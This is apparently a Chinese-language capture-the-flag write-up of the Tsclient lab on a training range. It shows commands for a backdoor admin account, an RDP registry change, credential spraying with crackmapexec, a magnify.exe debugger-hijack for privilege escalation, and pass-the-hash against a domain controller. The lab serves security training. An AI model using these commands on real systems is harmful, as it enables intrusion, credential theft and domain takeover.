春秋云镜-Tsclient

该文章更新于 2024.08.31

又写了个春秋云镜的靶场,学到了挺多东西。

春秋云镜-Tsclient

flag01

依旧是fscan扫一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
start infoscan
39.101.204.119:135 open
39.101.204.119:80 open
39.101.204.119:139 open
39.101.204.119:1433 open
[*] alive ports len is: 4
start vulscan
[*] NetInfo
[*]39.101.204.119
[->]WIN-WEB
[->]172.22.8.18
[->]2001:0:348b:fb58:3469:2f8e:d89a:3388
[*] WebTitle http://39.101.204.119 code:200 len:703 title:IIS Windows Server
[+] mssql 39.101.204.119:1433:sa 1qaz!QAZ
已完成 4/4

发现数据库账号密码

利用MDUT梭了。

image-20240826124808646

利用土豆提权,成功拿到systen权限

image-20240826131601854

添加用户,以及添加用户组,开放3389端口

1
2
3
net user fffffilm Password@973 /add
net localgroup administrators fffffilm /add
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

成功登录

image-20240826162420530

拿下第一个flag

image-20240826132532333

flag01: flag{89df4bd3-ad34-49ad-ac02-1878eb0e7459}

flag02

配代理扫内网。

ipconfig发现网段:172.22.8.18

fscan开扫

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.8.18 is alive
(icmp) Target 172.22.8.15 is alive
(icmp) Target 172.22.8.31 is alive
(icmp) Target 172.22.8.46 is alive
[*] Icmp alive hosts len is: 4
172.22.8.15:88 open
172.22.8.15:445 open
172.22.8.46:445 open
172.22.8.31:445 open
172.22.8.18:1433 open
172.22.8.31:139 open
172.22.8.18:445 open
172.22.8.46:139 open
172.22.8.15:139 open
172.22.8.31:135 open
172.22.8.46:135 open
172.22.8.18:139 open
172.22.8.18:135 open
172.22.8.46:80 open
172.22.8.18:80 open
172.22.8.15:135 open
172.22.8.18:9999 open
[*] alive ports len is: 17
start vulscan
[*] WebTitle http://172.22.8.18 code:200 len:703 title:IIS Windows Server
[*] NetInfo
[*]172.22.8.15
[->]DC01
[->]172.22.8.15
[*] NetBios 172.22.8.46 WIN2016.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] NetBios 172.22.8.15 [+] DC:XIAORANG\DC01
[*] NetInfo
[*]172.22.8.18
[->]WIN-WEB
[->]172.22.8.18
[->]2001:0:348b:fb58:3469:2f8e:d89a:3388
[*] NetInfo
[*]172.22.8.31
[->]WIN19-CLIENT
[->]172.22.8.31
[*] NetInfo
[*]172.22.8.46
[->]WIN2016
[->]172.22.8.46
[*] NetBios 172.22.8.31 XIAORANG\WIN19-CLIENT
[*] WebTitle http://172.22.8.46 code:200 len:703 title:IIS Windows Server
[+] mssql 172.22.8.18:1433:sa 1qaz!QAZ

整理一下信息

  • 172.22.8.15 域控
  • 172.22.8.18 已经打完了
  • 172.22.8.31 域内机器
  • 172.22.8.46 域内机器

现在就没什么思路了。

但是想到flag1里提到关注user session。那就看看有什么用户。

image-20240826135120846

发现还有一个john用户。

先CS上线便于下面操作,这里注意要system运行木马,我一开始忘了,浪费好多时间。

image-20240826165230709

注入进程

image-20240826163926915

image-20240826165307546

成功。之后查看网络资源

1
2
shell net use
shell type \\tsclient\c\credential.txt

image-20240826165440862

拿到一个账号密码,并且这里提到了映像劫持。

xiaorang.lab\Aldrich:Ald@rLMWuy7Z!#

先进行密码喷洒。

1
proxychains crackmapexec smb 172.22.8.1/24 -u Aldrich -p 'Ald@rLMWuy7Z!#' -d xiaorang.lab 2>/dev/null

image-20240826170112128

发现密码已经过期了。那我们对密码进行修改

image-20240826170219928

拿上新密码:Fffffilm@123456进行登录。启动rdp,发现46可以登录

1
proxychains4 rdesktop 172.22.8.46 -u Aldrich -d xiaorang.lab -p 'Fffffilm@123456' -r disk:share=/home/kali/Desktop/fffffilm

修改注册表,利用放大镜提权。

1
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

image-20240826171151314

成功拿到system权限。

image-20240826171623023

flag02: flag{9907d541-3a58-4226-b1ae-244cdd480049}

flag03

先在18和46都拿下了。还差DC域控和31

利用18进行端口转发将46上线cs。

image-20240826173507665

image-20240826173543725

查看域管

1
shell net group "domain admins" /domain

image-20240826173705887

抓取哈希

1
logonpasswords

image-20240826173914145

横向实现域控。

1
proxychains4 crackmapexec smb 172.22.8.15 -u WIN2016$ -H 14ac45817d3e1046b80b23dc198ed606 -d xiaorang -x "type C:\Users\Administrator\flag\flag03.txt"

image-20240826174037572

flag03: flag{86ae5eda-7df3-46c7-9cdb-24566e3dd2d4}